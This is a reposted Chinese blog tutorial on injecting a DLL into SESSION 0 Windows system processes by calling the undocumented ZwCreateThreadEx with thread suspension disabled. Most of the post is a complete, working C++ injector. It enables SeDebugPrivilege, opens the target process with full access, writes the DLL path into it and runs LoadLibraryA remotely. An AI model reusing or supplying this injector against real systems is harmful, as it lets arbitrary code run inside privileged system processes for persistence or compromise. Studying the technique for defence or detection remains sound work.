安全之路 —— 利用內核函數實現注入系統進程


簡介

在之前的文章中曾說過利用CreateRemoteThread函數進行遠線程注入是最經典的一種方式。但是這種方式卻無法成功注入系統進程,因為系統進程是處在SESSION0高權限級別的會話層,用戶進程在執行CreateRemoteThread函數時會失敗。所以經過前輩們的研究發現,CreateRemoteThread底層會調用內核函數ZwCreateThreadEx,而系統調用此函數時,如果發現時系統進程,會把函數的第七個參數CreateSuspended設置為1,導致線程創建完成后會一直處於掛起狀態,無法恢復運行,導致注入失敗。所以我們必須手動調用ZwCreateThread這一內核函數,將第七個參數設置為0即可。系統進程注入成功后,由於會話層隔離機制,所以DLL的對話框並不會彈出,這時我們就需要使用PCHunter等工具直接查看進程模塊進行驗證。

然而ZwCreateThreadEx函數在ntdll.dll中並未聲明,所以必須手動使用GetProcAddress函數將其地址導出。

代碼樣例

////////////////////////////////
//
// FileName : KernelFuncInject.cpp
// Creator : PeterZheng
// Date : 2019/01/10 21:32
// Comment : Use Kernel Function To Inject
//
////////////////////////////////

#pragma once
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <strsafe.h>
#include <Windows.h>
#include <TlHelp32.h>

#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

using namespace std;

// 提權函數
BOOL EnableDebugPriv(LPCSTR name)
{
	HANDLE hToken;
	LUID luid;
	TOKEN_PRIVILEGES tp;
	// 打開進程令牌
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		printf("[!]Get Process Token Error!\n");
		return false;
	}
	// 獲取權限Luid
	if (!LookupPrivilegeValue(NULL, name, &luid))
	{
		printf("[!]Get Privilege Error!\n");
		return false;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	// 修改進程權限
	if (!AdjustTokenPrivileges(hToken, false, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
	{
		printf("[!]Adjust Privilege Error!\n");
		return false;
	}
	return true;
}

// 根據進程名字獲取進程Id
BOOL GetProcessIdByName(CHAR *szProcessName, DWORD& dwPid)
{
	HANDLE hSnapProcess = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapProcess == NULL)
	{
		printf("[*] Create Process Snap Error!\n");
		return FALSE;
	}
	PROCESSENTRY32 pe32 = { 0 };
	::RtlZeroMemory(&pe32, sizeof(pe32));
	pe32.dwSize = sizeof(pe32);
	BOOL bRet = ::Process32First(hSnapProcess, &pe32);
	while (bRet)
	{
		if (_stricmp(pe32.szExeFile, szProcessName) == 0)
		{
			dwPid = pe32.th32ProcessID;
			return TRUE;
		}
		bRet = ::Process32Next(hSnapProcess, &pe32);
	}
	return FALSE;
}

int main(int argc, char* argv[])
{
	if (argc != 3)
	{
		printf("[*] Format Error!  \nYou Should FOLLOW THIS FORMAT: <APCInject EXENAME DLLNAME> \n");
		return 0;
	}
	LPSTR szExeName = (LPSTR)::VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	LPSTR szDllPath = (LPSTR)::VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	::RtlZeroMemory(szExeName, 100);
	::RtlZeroMemory(szDllPath, 100);
	::StringCchCopy(szExeName, 100, argv[1]);
	::StringCchCopy(szDllPath, 100, argv[2]);
	DWORD dwPid = 0;
	// 系統進程必須先提權才能打開,否則在OpenProcess步驟會失敗
	EnableDebugPriv(SE_DEBUG_NAME);
	BOOL bRet = GetProcessIdByName(szExeName, dwPid);
	if (!bRet)
	{
		printf("[*] Get Process Id Error!\n");
		return 0;
	}
	HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	if (hProcess == NULL)
	{
		printf("[*] Open Process Error!\n");
		return 0;
	}
	DWORD dwDllPathLen = strlen(szDllPath) + 1;
	LPVOID lpBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (lpBaseAddress == NULL)
	{
		printf("[*] VirtualAllocEx Error!\n");
		return 0;
	}
	SIZE_T dwWriten = 0;
	// 把DLL路徑字符串寫入目標進程
	::WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
	if (dwWriten != dwDllPathLen)
	{
		printf("[*] Write Process Memory Error!\n");
		return 0;
	}
	// 獲取LoadLibrary函數地址
	LPVOID pLoadLibraryFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	if (pLoadLibraryFunc == NULL)
	{
		printf("[*] Get Func Address Error!\n");
		return 0;
	}
	HMODULE hNtdll = ::LoadLibrary("ntdll.dll");
	if (hNtdll == NULL)
	{
		printf("[*] Load NtDLL Error!\n");
		return 0;
	}
	typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
	if (ZwCreateThreadEx == NULL)
	{
		printf("[*] Get NTDLL Func Address Error!\n");
		return 0;
	}
	DWORD dwStatus = 0;
	HANDLE hRemoteThread = NULL;
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pLoadLibraryFunc, lpBaseAddress, 0, 0, 0, 0, NULL);
	if (hRemoteThread == NULL)
	{
		printf("[*] Create Remote Thread Error!\n");
		return 0;
	}

	// DLL路徑分割,方便輸出
	LPCSTR szPathSign = "\\";
	LPSTR p = NULL;
	LPSTR next_token = NULL;
	p = strtok_s(szDllPath, szPathSign, &next_token);
	while (p)
	{
		StringCchCopy(szDllPath, 100, p);
		p = strtok_s(NULL, szPathSign, &next_token);
	}
	printf("[*] High Privilege Inject Info [%s ==> %s] Success\n", szDllPath, szExeName);

	::CloseHandle(hProcess);
	::FreeLibrary(hNtdll);
	::VirtualFree(szExeName, 0, MEM_RELEASE);
	::VirtualFree(szDllPath, 0, MEM_RELEASE);
	::ExitProcess(0);
	return 0;
}

運行截圖

利用內核函數注入的運行截圖

參考資料

  1. 《Windows黑客編程技術詳解》 【甘迪文 著】


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM